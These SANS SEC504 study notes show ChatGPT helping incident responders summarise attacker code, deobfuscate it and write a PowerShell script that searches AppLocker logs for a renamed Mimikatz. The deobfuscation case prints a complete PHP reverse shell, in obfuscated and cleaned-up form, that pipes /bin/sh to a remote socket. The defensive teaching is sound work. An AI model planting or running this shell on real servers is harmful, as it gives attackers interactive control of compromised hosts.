FaresMorcy
  • Whoami
  • Footprinting Labs
    • Lab - Easy
    • Lab - Medium
    • Lab - Hard
  • Shells & Payloads
    • The Live Engagement
  • Password Attacks
    • Lab - Easy
    • Lab - Medium
    • Lab - Hard
  • SOC Hackthebox Notes & Labs
    • Security Monitoring & SIEM Fundamentals Module
    • Windows Event Logs & Finding Evil Module
    • Introduction to Threat Hunting & Hunting With Elastic Module
    • Understanding Log Sources & Investigating with Splunk Module
      • Introduction To Splunk & SPL
      • Using Splunk Applications
      • Intrusion Detection With Splunk (Real-world Scenario)
      • Detecting Attacker Behavior With Splunk Based On TTPs
      • Detecting Attacker Behavior With Splunk Based On Analytics
      • Skills Assessment
    • Windows Attacks & Defense
      • Kerberoasting
      • AS-REProasting
      • GPP Passwords
      • GPO Permissions/GPO Files
      • Credentials in Shares
      • Credentials in Object Properties
      • DCSync
      • Golden Ticket
      • Kerberos Constrained Delegation
      • Print Spooler & NTLM Relaying
      • Coercing Attacks & Unconstrained Delegation
      • Object ACLs
      • PKI - ESC1
      • Skills Assessment
    • Intro to Network Traffic Analysis Module
    • YARA & Sigma for SOC Analysts Module
      • Developing YARA Rules
      • Hunting Evil with YARA (Windows Edition)
      • Hunting Evil with YARA (Linux Edition)
      • Sigma and Sigma Rules
      • Developing Sigma Rules
      • Hunting Evil with Sigma (Chainsaw Edition)
      • Hunting Evil with Sigma (Splunk Edition)
      • Skills Assessment
  • TryHackme SOC 1
    • TShark
      • TShark: The Basics
      • TShark: CLI Wireshark Features
      • TShark Challenge I: Teamwork
      • TShark Challenge II: Directory
    • Tempest
    • Boogeyman 1
    • Boogeyman 2
    • Boogeyman 3
  • TryHackme SOC 2
    • Advanced Splunk
      • Splunk: Exploring SPL
      • Splunk: Setting up a SOC Lab
      • Splunk: Dashboards and Reports
      • Splunk: Data Manipulation
      • Fixit
    • Advanced ELK
      • Slingshot
    • Threat Hunting
      • Threat Hunting: Foothold
      • Threat Hunting: Pivoting
      • Threat Hunting: Endgame
  • TryHackme Rooms
    • Investigating Windows
    • Splunk 2
    • Windows Network Analysis
  • Powershell Scripting Fundamentals
  • SANS SEC504 & Labs
    • Book one
      • Live Examination
      • Network Investigations
      • Memory Investigations
      • Malware Investigations
      • Accelerating IR with Generative AI
      • Bootcamp: Linux Olympics
      • Bootcamp: Powershell Olympics
    • Book Two
      • Hacker Tools and Techniques Introduction
      • Target Discovery and Enumeration
      • Discovery and Scanning with Nmap
      • Cloud Spotlight: Cloud Scanning
      • SMB Security
      • Defense Spotlight: Hayabusa and Sigma Rules
    • Book Three
      • Password Attacks
      • Cloud Spotlight: Microsoft 365 Password Attacks
      • Understanding Password Hashes
      • Password Cracking
      • Cloud Spotlight: Insecure Storage
      • Multipurpose Netcat
    • Book Four
      • Metasploit Framework
      • Drive-By Attacks
      • Command Injection
      • Cross-Site Scripting
      • SQL Injection
      • Cloud Spotlight: SSRF and IMDS
    • Book Five
      • Endpoint Security Bypass
      • Pivoting and Lateral Movement
      • Hijacking Attacks
      • Establishing Persistence
      • Defense Spotlight: RITA
      • Cloud Spotlight: Cloud Post-Exploitation
  • SANS SEC511 & Labs
    • Resources
      • Primers
      • References
      • Tools
        • Network
        • Elastic Stack
      • Printable Versions
    • Book One
      • Part One
      • Part Two
      • Part Three
    • Book Two
      • Part One
      • Part Two
      • Part Three
      • Part Four
    • Book Three
      • Part One
      • Part Two
      • Part Three
      • Part Four
    • Book Four
      • Part One
      • Part Two
      • Part Three Lab
      • Part Four Lab
    • Book Five
      • Part One Lab
      • Part Two Lab
      • Part Three Lab
  • CyberDefenders
    • XXE Infiltration Lab
    • T1594 Lab
    • RetailBreach Lab
    • DanaBot Lab
    • OpenWire Lab
    • BlueSky Ransomware Lab
    • Openfire Lab
    • Boss Of The SOC v1 Lab
    • GoldenSpray Lab
    • REvil Lab
    • ShadowRoast Lab
    • SolarDisruption Lab
    • Kerberoasted Lab
    • T1197 Lab
    • Amadey Lab
    • Malware Traffic Analysis 1 Lab
    • Insider Lab
    • Volatility Traces Lab
    • FalconEye Lab
    • GitTheGate Lab
    • Trident Lab
    • NerisBot Lab
  • Practical Windows Forensics
    • Data Collection
    • Examination
    • Disk Analysis Introduction
    • User Behavior
    • Overview of disk structures, partitions and file systems
    • Finding Evidence of Deleted Files with USN Journal Analysis
    • Analyzing Evidence of Program Execution
    • Finding Evidence of Persistence Mechanisms
    • Uncover Malicious Activity with Windows Event Log Analysis
    • Windows Memory Forensic Analysis
  • Hackthebox Rooms
    • Campfire-1
    • Compromised
    • Brutus
    • Trent
    • CrownJewel-1
  • WEInnovate Training
    • Weinnovate - Active Directory Task One
    • Build ELK Lab
      • Configure Elasticsearch and Kibana setup in ubuntu
      • Configure Fluent-Bit to send logs to ELK
      • Set up Winlogbeat & Filebeat for log collection
      • Send Logs from Winlogbeat through Logstash to ELK
      • Enable Windows Audit Policy & Winlogbeat
      • Elasticsearch API and Ingestion Pipeline
    • SOAR
      • Send Alerts To Email & Telegram Bot
      • Integrate Tines with ELK
    • SOC Practical Assessment
    • Lumma C2
    • Network Analysis
  • Build ELK Lab
    • Configure Elasticsearch and Kibana setup in ubuntu
    • Configure Fluent-Bit to send logs to ELK
    • Set up Winlogbeat & Filebeat for log collection
    • Send Logs from Winlogbeat through Logstash to ELK
    • Enable Windows Audit Policy & Winlogbeat
    • Elasticsearch API and Ingestion Pipeline
  • Build Home Lab - SOC Automation
    • Install & configure Sysmon for deep Windows event logging
    • Set up Wazuh & TheHive for threat detection & case management
    • Execute Mimikatz & create detection rules in Wazuh
    • Automate everything with Shuffle
    • Response to SSH Attack Using Shuffle, Wazuh, and TheHive
  • Home Lab (Attack & Defense Scenarios)
    • Pass-the-Hash Attack & Defense
    • Scheduled Task Attack & Defense
    • Kerberoasting Attack & Defense
    • Kerberos Constrained Delegation
    • Password Spraying Attack & Defense
    • Golden Ticket Attack & Defense
    • AS-REProasting Attack & Defense
    • DCSync Attack & Defense
  • Home Lab (FIN7 (Carbanak Group) – Point of Sale (POS) Attack on Hospitality Chains)
  • Home Lab (Lumma Stealer)
Powered by GitBook
On this page
  • Case Study 1: Summarizing Code
  • ChatGPT Response – Summarizing Code
  • Use Case 2: Deobfuscating Attacker Code
  • Code Deobfuscation Prompt
  • ChatGPT Response – Deobfuscating Attacker Code
  • ChatGPT Deobfuscated Code
  • Use Case 3: Automate Analysis with Scripting
  1. SANS SEC504 & Labs
  2. Book one

Accelerating IR with Generative AI

PreviousMalware InvestigationsNextBootcamp: Linux Olympics

Last updated 8 months ago

AI offers a great chance for analysts to speed up incident response and lower key metrics like Mean Time to Resolution (MTTR). Even if your organization restricts AI, it's important for analysts to stay aware of both the positive and negative uses of AI technology.

This module covers four examples where ChatGPT helped speed up incident response and shows how AI tools can make the process faster.

Case Study 1: Summarizing Code

  • IOC: Sysadmin identifies unauthorized local user brok3n on Windows system. Calls IR team.

  • Analysis: Live system analysis reveals several files in %LOCALAPPDATA% \Temp.

  • Analysis: One zipped file includes C# source code excerpts.

An incident response team was called to investigate a Windows 10 compromise after a system admin found an unauthorized user named "brok3n." During the investigation, they discovered files in the %LOCALAPPDATA%\Temp folder, including a zip file with C# program source code.

Reviewing an attacker's source code can help identify other compromised systems. However, not all incident responders know every programming language attackers use. This is where AI, like ChatGPT, can help by summarizing the code for us.

We gave ChatGPT some source code from the compromised system and asked it to explain what the C# code does when run on Windows, and to determine if it's malicious or harmless.

ChatGPT Response – Summarizing Code

For this query, ChatGPT returned a correct assessment of the C# source code, explaining in plain language what the C# source code does. This is a very powerful tool for analysts, allowing us to take source code in nearly any programming language and generate an explanation of what the source code does.

Use Case 2: Deobfuscating Attacker Code

  • IOC: Helpdesk escalates alert that WordPress server keeps crashing after server restart.

  • IOC: Sysadmin notes 100% CPU from Linux httpd process (Apache) across all server cores.

  • IOC: Log analysis reveals frequent requests for /wp- includes/FkhDUPZ.php.

The incident response team was called after several signs of a problem. The first sign was users reporting that a WordPress server was down. Restarting the server fixed it temporarily, but users continued to call back with the same issue.

The Linux WordPress server's CPU is maxed out, mostly due to the Apache httpd process. The system admin checked the web server logs and found many requests for a suspicious page, /wp-includes/FkhDUPZ.php, which shouldn't be there. The incident response team then gathered logs and files, finding that the FkhDUPZ.php file had heavily-obfuscated code.

Code Deobfuscation Prompt

Assume the role of a cyber security incedient response analyst. 
You are reviewing the source code  for an obfuscated php source code file. 
You identified this unknown and unauthorized php file on a linux web server you 
suspect may be compromised by an attacker.

Deobfuscate the code to the simplest form. Explain what the code does in a summary
of not more than 3 sentences. Present a detailed analysis of the code as well, 
using bullets to explain major pieces of code functionality. 
Rewrite the code in deobfuscated form using PHP language

<?php 
$s = "s".chr(101)."t_".chr(116)."i".chr(109)."e_".chr(108)."i".chr(109)."i".chr(116);
$k = chr(48);
$a = chr(49).chr(50).chr(55).chr(46).chr(48).chr(46).chr(48).chr(46).chr(49); // CHANGE THIS
$p = chr(49).chr(50).chr(51).chr(52); // CHANGE THIS
$c = "/bin/sh -i";
$v = chr(48);

if (function_exists('pcntl_fork')) {
    if (pcntl_fork()) exit($k); // Parent exits
    posix_setsid();
    $v = chr(49);
}

chdir(chr(47));
umask(0);

$f = fsockopen($a, $p);
if (!$f) exit("ERROR: Can't connect to $a:$p");

$p = proc_open($c, [["pipe", chr(114)], ["pipe", chr(119)], ["pipe", chr(119)]], $t);
if (!is_resource($p)) exit("ERROR: Can't spawn shell");

stream_set_blocking($t[0], 0);
stream_set_blocking($t[1], 0);
stream_set_blocking($t[2], 0);
stream_set_blocking($f, 0);

while (true) {
    if (feof($f)) break;
    if (feof($t[1])) break;

    $r = [$f, $t[1], $t[2]];
    stream_select($r, $w = null, $e = null, null);

    if (in_array($f, $r)) {
        fwrite($t[0], fread($f, 1400));
    }
    if (in_array($t[1], $r)) {
        fwrite($f, fread($t[1], 1400));
    }
    if (in_array($t[2], $r)) {
        fwrite($f, fread($t[2], 1400));
    }
}

fclose($f);
foreach ($t as $i) fclose($i);
proc_close($p);

?>

ChatGPT can both explain and deobfuscate code. In this case, we asked it to act as an incident response analyst and to decode obfuscated PHP code, using clear markers and extra context (PHP, Linux web server) to guide its analysis.

In the next paragraph, we ask ChatGPT to simplify the code and give a brief 3-sentence summary of what it does. We also want a detailed breakdown and a rewritten version of the code that’s easier to understand.

ChatGPT Response – Deobfuscating Attacker Code

ChatGPT Deobfuscated Code

<?php 
$socketFile = "st_ite_limte";
$port = "1234"; 
$ipAddress = "127.0.0.1"; 
$command = "/bin/sh -i";
$exitCode = 0;

if (function_exists('pcntl_fork')) {
    if (pcntl_fork()) exit($exitCode); 
    posix_setsid();
    $exitCode = 1;
}

chdir('/');
umask(0);

$socket = fsockopen($ipAddress, $port);
if (!$socket) exit("ERROR: Can't connect to $ipAddress:$port");

$process = proc_open($command, [["pipe", "r"], ["pipe", "w"], ["pipe", "w"]], $pipes);
if (!is_resource($process)) exit("ERROR: Can't spawn shell");

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($socket, 0);

while (true) {
    if (feof($socket)) break;
    if (feof($pipes[1])) break;

    $read = [$socket, $pipes[1], $pipes[2]];
    stream_select($read, $write = null, $error = null, null);

    if (in_array($socket, $read)) {
        fwrite($pipes[0], fread($socket, 1400));
    }
    if (in_array($pipes[1], $read)) {
        fwrite($socket, fread($pipes[1], 1400));
    }
    if (in_array($pipes[2], $read)) {
        fwrite($socket, fread($pipes[2], 1400));
    }
}

fclose($socket);
foreach ($pipes as $pipe) fclose($pipe);
proc_close($process);

?>

Use Case 3: Automate Analysis with Scripting

  • IOC: Windows 10 zero-day led to credential dumping and lateral movement

  • Analysis: AppLocker logs indicate safe listing bypass by renaming Mimikatz to osk.exe.

  • Scoping: Need to identify all hosts in domain that have run osk.exe.

The incident response team was called to handle a compromised Windows 10 system. They discovered a zero-day exploit that led to credential theft and movement across the network. Logs showed that the attackers bypassed Windows AppLocker by renaming the Mimikatz tool to osk.exe to avoid detection.

The incident response team should use the new IoC (attacker runs osk.exe) on all Windows 10 systems to find other breaches. A PowerShell script is ideal for this task, as it can use PowerShell remoting to check AppLocker logs for all executed programs.

We can ask ChatGPT to write code for this task using simple language:

Write a PowerShell script to read from a text file containing host names or IP addresses, one per line. For each host, use PowerShell remoting to interrogate the Windows Event Log for AppLocker, looking for any log messages that include the string osk. Make the script output a list of hosts where the search string is present in the AppLocker event log.

# Path to the text file containing hostnames or IP addresses
$hostsFile = "C:\path\to\hosts.txt"

# String to search for in the AppLocker log messages
$searchString = "osk"

# Path to the output file
$outputFile = "C:\path\to\output.txt"

# Read the list of hosts from the text file
$hosts = Get-Content -Path $hostsFile

# Initialize an empty list to store hosts where the search string is found
$foundHosts = @()

foreach ($host in $hosts) {
    # Try to use PowerShell remoting to run a command on the remote host
    try {
        # Define the script block to run on the remote host
        $scriptBlock = {
            # Get the AppLocker log events
            $events = Get-WinEvent -LogName "Microsoft-Windows-AppLocker/MSI and Script" -ErrorAction Stop

            # Search for the string in the log messages
            $events | Where-Object { $_.Message -like "*$using:searchString*" }
        }

        # Run the script block on the remote host
        $results = Invoke-Command -ComputerName $host -ScriptBlock $scriptBlock -ErrorAction Stop

        # Check if any results are returned
        if ($results) {
            # Add the host to the list of found hosts
            $foundHosts += $host
        }
    } catch {
        # Handle any errors (e.g., connection issues)
        Write-Warning "Failed to query $host: $_"
    }
}

# Write the list of hosts where the search string was found to the output file
$foundHosts | Out-File -FilePath $outputFile

# Optionally, output to the console
Write-Output "Hosts where '$searchString' was found in AppLocker logs:"
$foundHosts

Notes:

  1. Path to hosts.txt: Update C:\path\to\hosts.txt to the actual path where your text file with hostnames/IP addresses is located.

  2. Output File Path: Update C:\path\to\output.txt to the desired path for your output file.

  3. Permissions: Ensure you have the necessary permissions to use PowerShell remoting and query the Windows Event Log on the remote hosts.

  4. PowerShell Remoting: Make sure PowerShell remoting is enabled on the remote hosts. You may need to adjust the execution policy and configure TrustedHosts if dealing with a non-domain environment.

This script will check each host for the presence of the string osk in AppLocker logs and output the hosts that contain this string to a specified file and also to the console.

The PowerShell script isn't very complex and could be improved for performance, but it works as needed. ChatGPT provided a script that met the incident response team's requirements, helping them effectively scope their Windows systems.